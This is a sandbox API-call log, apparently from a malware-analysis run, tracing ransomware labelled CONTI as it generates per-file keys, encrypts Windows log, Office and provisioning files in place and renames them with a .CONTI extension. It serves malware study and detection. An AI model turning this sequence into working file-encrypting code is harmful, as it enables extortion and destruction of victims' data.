	[0096.757] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x11000
	[0096.757] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.757] SetEndOfFile (hFile=0x384) returned 1
	[0096.757] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.757] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.758] WriteFile (in: hFile=0x384, lpBuffer=0x17e7484*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4abfc64, lpOverlapped=0x0 | out: lpBuffer=0x17e7484*, lpNumberOfBytesWritten=0x4abfc64*=0x20c, lpOverlapped=0x0) returned 1
	[0096.759] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.759] ReadFile (in: hFile=0x384, lpBuffer=0xd540000, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x4abfc84, lpOverlapped=0x0 | out: lpBuffer=0xd540000*, lpNumberOfBytesRead=0x4abfc84*=0x11000, lpOverlapped=0x0) returned 1
	[0097.473] CryptEncrypt (in: hKey=0x17c80f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd540000*, pdwDataLen=0x4abfc7c*=0x11000, dwBufLen=0x500000 | out: pbData=0xd540000*, pdwDataLen=0x4abfc7c*=0x11010) returned 1
	[0097.473] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0097.473] WriteFile (in: hFile=0x384, lpBuffer=0xd540000*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x4abfc98, lpOverlapped=0x0 | out: lpBuffer=0xd540000*, lpNumberOfBytesWritten=0x4abfc98*=0x11010, lpOverlapped=0x0) returned 1
	[0097.474] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0097.474] WriteFile (in: hFile=0x384, lpBuffer=0x17e7478*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4abfcb0, lpOverlapped=0x0 | out: lpBuffer=0x17e7478*, lpNumberOfBytesWritten=0x4abfcb0*=0x8, lpOverlapped=0x0) returned 1
	[0097.474] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0097.474] CloseHandle (hObject=0x384) returned 1
	[0097.475] GetProcessHeap () returned 0x1720000
	[0097.476] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17da410
	[0097.476] lstrcpyW (in: lpString1=0x17da410, lpString2="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx"
	[0097.476] lstrcatW (in: lpString1="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx", lpString2=".CONTI" | out: lpString1="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx.CONTI") returned="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx.CONTI"
	[0097.476] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-user profile service%4operational.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx.CONTI" (normalized: "c:\\logs\\microsoft-windows-user profile service%4operational.evtx.conti")) returned 1
	[0097.476] GetProcessHeap () returned 0x1720000
	[0097.476] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17da410 | out: hHeap=0x1720000) returned 1
	[0097.476] CryptDestroyKey (hKey=0x17c80f0) returned 1
	[0097.476] GetProcessHeap () returned 0x1720000
	[0097.476] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1733930 | out: hHeap=0x1720000) returned 1
	[0097.476] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4abfcd8, lpCompletionKey=0x4abfcdc, lpOverlapped=0x4abfce8, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4abfcd8, lpCompletionKey=0x4abfcdc, lpOverlapped=0x4abfce8) returned 1
	[0098.848] CryptGenKey (in: hProv=0x176b930, Algid=0x6610, dwFlags=0x1, phKey=0x17e7fe8 | out: phKey=0x17e7fe8*=0x17c7ff0) returned 1
	[0098.848] CryptExportKey (in: hKey=0x17c7ff0, hExpKey=0x175dff0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17e7fec, pdwDataLen=0x4abfcac | out: pbData=0x17e7fec*, pdwDataLen=0x4abfcac*=0x20c) returned 1
	[0098.876] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\stream.x64.x-none.man.dat" (normalized: "c:\\programdata\\microsoft\\clicktorun\\0d0d4eeb-dc03-4b3f-88df-959fe1ede5f4\\x-none.16\\stream.x64.x-none.man.dat")) returned 0x20
	[0098.876] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\stream.x64.x-none.man.dat" (normalized: "c:\\programdata\\microsoft\\clicktorun\\0d0d4eeb-dc03-4b3f-88df-959fe1ede5f4\\x-none.16\\stream.x64.x-none.man.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0098.876] GetLastError () returned 0x0
	[0098.876] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x4abfc58 | out: lpFileSize=0x4abfc58*=3688458) returned 1
	[0098.876] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x38480a
	[0098.876] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x22a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0098.876] SetEndOfFile (hFile=0x308) returned 1
	[0098.877] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0098.877] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0098.877] WriteFile (in: hFile=0x308, lpBuffer=0x17e7fec*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4abfc64, lpOverlapped=0x0 | out: lpBuffer=0x17e7fec*, lpNumberOfBytesWritten=0x4abfc64*=0x20c, lpOverlapped=0x0) returned 1
	[0098.880] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0098.881] ReadFile (in: hFile=0x308, lpBuffer=0xd540000, nNumberOfBytesToRead=0x38480a, lpNumberOfBytesRead=0x4abfc84, lpOverlapped=0x0 | out: lpBuffer=0xd540000*, lpNumberOfBytesRead=0x4abfc84*=0x38480a, lpOverlapped=0x0) returned 1
	[0100.168] CryptEncrypt (in: hKey=0x17c7ff0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd540000*, pdwDataLen=0x4abfc7c*=0x38480a, dwBufLen=0x500000 | out: pbData=0xd540000*, pdwDataLen=0x4abfc7c*=0x384810) returned 1
	[0100.173] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0100.173] WriteFile (in: hFile=0x308, lpBuffer=0xd540000*, nNumberOfBytesToWrite=0x384810, lpNumberOfBytesWritten=0x4abfc98, lpOverlapped=0x0 | out: lpBuffer=0xd540000*, lpNumberOfBytesWritten=0x4abfc98*=0x384810, lpOverlapped=0x0) returned 1
	[0100.870] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0100.870] WriteFile (in: hFile=0x308, lpBuffer=0x17e7fe0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4abfcb0, lpOverlapped=0x0 | out: lpBuffer=0x17e7fe0*, lpNumberOfBytesWritten=0x4abfcb0*=0x8, lpOverlapped=0x0) returned 1
	[0100.870] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0100.870] CloseHandle (hObject=0x308) returned 1
	[0103.115] GetProcessHeap () returned 0x1720000
	[0103.148] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x18123a8
	[0103.148] lstrcpyW (in: lpString1=0x18123a8, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\stream.x64.x-none.man.dat" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\stream.x64.x-none.man.dat") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\stream.x64.x-none.man.dat"
	[0103.149] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\stream.x64.x-none.man.dat", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\stream.x64.x-none.man.dat.CONTI") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\stream.x64.x-none.man.dat.CONTI"
	[0103.149] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\stream.x64.x-none.man.dat" (normalized: "c:\\programdata\\microsoft\\clicktorun\\0d0d4eeb-dc03-4b3f-88df-959fe1ede5f4\\x-none.16\\stream.x64.x-none.man.dat"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\stream.x64.x-none.man.dat.CONTI" (normalized: "c:\\programdata\\microsoft\\clicktorun\\0d0d4eeb-dc03-4b3f-88df-959fe1ede5f4\\x-none.16\\stream.x64.x-none.man.dat.conti")) returned 1
	[0103.961] GetProcessHeap () returned 0x1720000
	[0103.961] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x18123a8 | out: hHeap=0x1720000) returned 1
	[0103.961] CryptDestroyKey (hKey=0x17c7ff0) returned 1
	[0103.961] GetProcessHeap () returned 0x1720000
	[0103.961] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c3688 | out: hHeap=0x1720000) returned 1
	[0103.961] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4abfcd8, lpCompletionKey=0x4abfcdc, lpOverlapped=0x4abfce8, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4abfcd8, lpCompletionKey=0x4abfcdc, lpOverlapped=0x4abfce8) returned 1
	[0107.373] CryptGenKey (in: hProv=0x176b930, Algid=0x6610, dwFlags=0x1, phKey=0x17d3d60 | out: phKey=0x17d3d60*=0x17c8370) returned 1
	[0107.373] CryptExportKey (in: hKey=0x17c8370, hExpKey=0x175dff0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d3d64, pdwDataLen=0x4abfcac | out: pbData=0x17d3d64*, pdwDataLen=0x4abfcac*=0x20c) returned 1
	[0107.379] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\prov\\runtime\\0__power_energyestimationengine.provxml")) returned 0x20
	[0107.379] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\prov\\runtime\\0__power_energyestimationengine.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0
	[0107.379] GetLastError () returned 0x0
	[0107.379] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x4abfc58 | out: lpFileSize=0x4abfc58*=463) returned 1
	[0107.379] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1cf
	[0107.380] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x225, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.380] SetEndOfFile (hFile=0x3b0) returned 1
	[0107.380] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.380] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.380] WriteFile (in: hFile=0x3b0, lpBuffer=0x17d3d64*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4abfc64, lpOverlapped=0x0 | out: lpBuffer=0x17d3d64*, lpNumberOfBytesWritten=0x4abfc64*=0x20c, lpOverlapped=0x0) returned 1
	[0107.382] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.382] ReadFile (in: hFile=0x3b0, lpBuffer=0xd540000, nNumberOfBytesToRead=0x1cf, lpNumberOfBytesRead=0x4abfc84, lpOverlapped=0x0 | out: lpBuffer=0xd540000*, lpNumberOfBytesRead=0x4abfc84*=0x1cf, lpOverlapped=0x0) returned 1
	[0107.382] CryptEncrypt (in: hKey=0x17c8370, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd540000*, pdwDataLen=0x4abfc7c*=0x1cf, dwBufLen=0x500000 | out: pbData=0xd540000*, pdwDataLen=0x4abfc7c*=0x1d0) returned 1
	[0107.382] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.382] WriteFile (in: hFile=0x3b0, lpBuffer=0xd540000*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x4abfc98, lpOverlapped=0x0 | out: lpBuffer=0xd540000*, lpNumberOfBytesWritten=0x4abfc98*=0x1d0, lpOverlapped=0x0) returned 1
	[0107.382] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.382] WriteFile (in: hFile=0x3b0, lpBuffer=0x17d3d58*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4abfcb0, lpOverlapped=0x0 | out: lpBuffer=0x17d3d58*, lpNumberOfBytesWritten=0x4abfcb0*=0x8, lpOverlapped=0x0) returned 1
	[0107.382] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.382] CloseHandle (hObject=0x3b0) returned 1
	[0107.383] GetProcessHeap () returned 0x1720000
	[0107.383] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0107.383] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml"
	[0107.383] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml.CONTI"
	[0107.383] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\prov\\runtime\\0__power_energyestimationengine.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\prov\\runtime\\0__power_energyestimationengine.provxml.conti")) returned 1
	[0107.384] GetProcessHeap () returned 0x1720000
	[0107.384] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0107.384] CryptDestroyKey (hKey=0x17c8370) returned 1
	[0107.384] GetProcessHeap () returned 0x1720000
	[0107.384] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181e140 | out: hHeap=0x1720000) returned 1
	[0107.384] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4abfcd8, lpCompletionKey=0x4abfcdc, lpOverlapped=0x4abfce8, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4abfcd8, lpCompletionKey=0x4abfcdc, lpOverlapped=0x4abfce8) returned 1
	[0108.058] CryptGenKey (in: hProv=0x176b930, Algid=0x6610, dwFlags=0x1, phKey=0x6514bf0 | out: phKey=0x6514bf0*=0x17c8330) returned 1
	[0108.058] CryptExportKey (in: hKey=0x17c8330, hExpKey=0x175dff0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6514bf4, pdwDataLen=0x4abfcac | out: pbData=0x6514bf4*, pdwDataLen=0x4abfcac*=0x20c) returned 1
	[0108.061] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\130__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\130__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20
	[0108.061] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\130__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\130__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0108.061] GetLastError () returned 0x0
	[0108.061] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x4abfc58 | out: lpFileSize=0x4abfc58*=472) returned 1
	[0108.061] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1d8
	[0108.061] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x22c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.061] SetEndOfFile (hFile=0x384) returned 1
	[0108.062] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.062] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.062] WriteFile (in: hFile=0x384, lpBuffer=0x6514bf4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4abfc64, lpOverlapped=0x0 | out: lpBuffer=0x6514bf4*, lpNumberOfBytesWritten=0x4abfc64*=0x20c, lpOverlapped=0x0) returned 1
	[0108.064] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.064] ReadFile (in: hFile=0x384, lpBuffer=0xd540000, nNumberOfBytesToRead=0x1d8, lpNumberOfBytesRead=0x4abfc84, lpOverlapped=0x0 | out: lpBuffer=0xd540000*, lpNumberOfBytesRead=0x4abfc84*=0x1d8, lpOverlapped=0x0) returned 1
	[0108.064] CryptEncrypt (in: hKey=0x17c8330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd540000*, pdwDataLen=0x4abfc7c*=0x1d8, dwBufLen=0x500000 | out: pbData=0xd540000*, pdwDataLen=0x4abfc7c*=0x1e0) returned 1
	[0108.064] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.064] WriteFile (in: hFile=0x384, lpBuffer=0xd540000*, nNumberOfBytesToWrite=0x1e0, lpNumberOfBytesWritten=0x4abfc98, lpOverlapped=0x0 | out: lpBuffer=0xd540000*, lpNumberOfBytesWritten=0x4abfc98*=0x1e0, lpOverlapped=0x0) returned 1
	[0108.064] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.064] WriteFile (in: hFile=0x384, lpBuffer=0x6514be8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4abfcb0, lpOverlapped=0x0 | out: lpBuffer=0x6514be8*, lpNumberOfBytesWritten=0x4abfcb0*=0x8, lpOverlapped=0x0) returned 1
	[0108.064] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.064] CloseHandle (hObject=0x384) returned 1
	[0108.064] GetProcessHeap () returned 0x1720000
	[0108.064] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0108.064] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\130__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\130__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\130__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml"
	[0108.064] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\130__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\130__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\130__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI"
	[0108.064] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\130__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\130__cellular_persimsettings_$(__iccid)_appid.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\130__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\130__cellular_persimsettings_$(__iccid)_appid.provxml.conti")) returned 1
	[0108.065] GetProcessHeap () returned 0x1720000
	[0108.065] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0108.065] CryptDestroyKey (hKey=0x17c8330) returned 1
	[0108.065] GetProcessHeap () returned 0x1720000
	[0108.065] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c32b8 | out: hHeap=0x1720000) returned 1
	[0108.065] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4abfcd8, lpCompletionKey=0x4abfcdc, lpOverlapped=0x4abfce8, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4abfcd8, lpCompletionKey=0x4abfcdc, lpOverlapped=0x4abfce8) returned 1
	[0108.384] CryptGenKey (in: hProv=0x176b930, Algid=0x6610, dwFlags=0x1, phKey=0x17d2fb0 | out: phKey=0x17d2fb0*=0x17c7af0) returned 1
	[0108.384] CryptExportKey (in: hKey=0x17c7af0, hExpKey=0x175dff0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d2fb4, pdwDataLen=0x4abfcac | out: pbData=0x17d2fb4*, pdwDataLen=0x4abfcac*=0x20c) returned 1
	[0108.647] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\18__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\18__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml")) returned 0x20
	[0109.496] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\18__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\18__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0109.515] GetLastError () returned 0x0
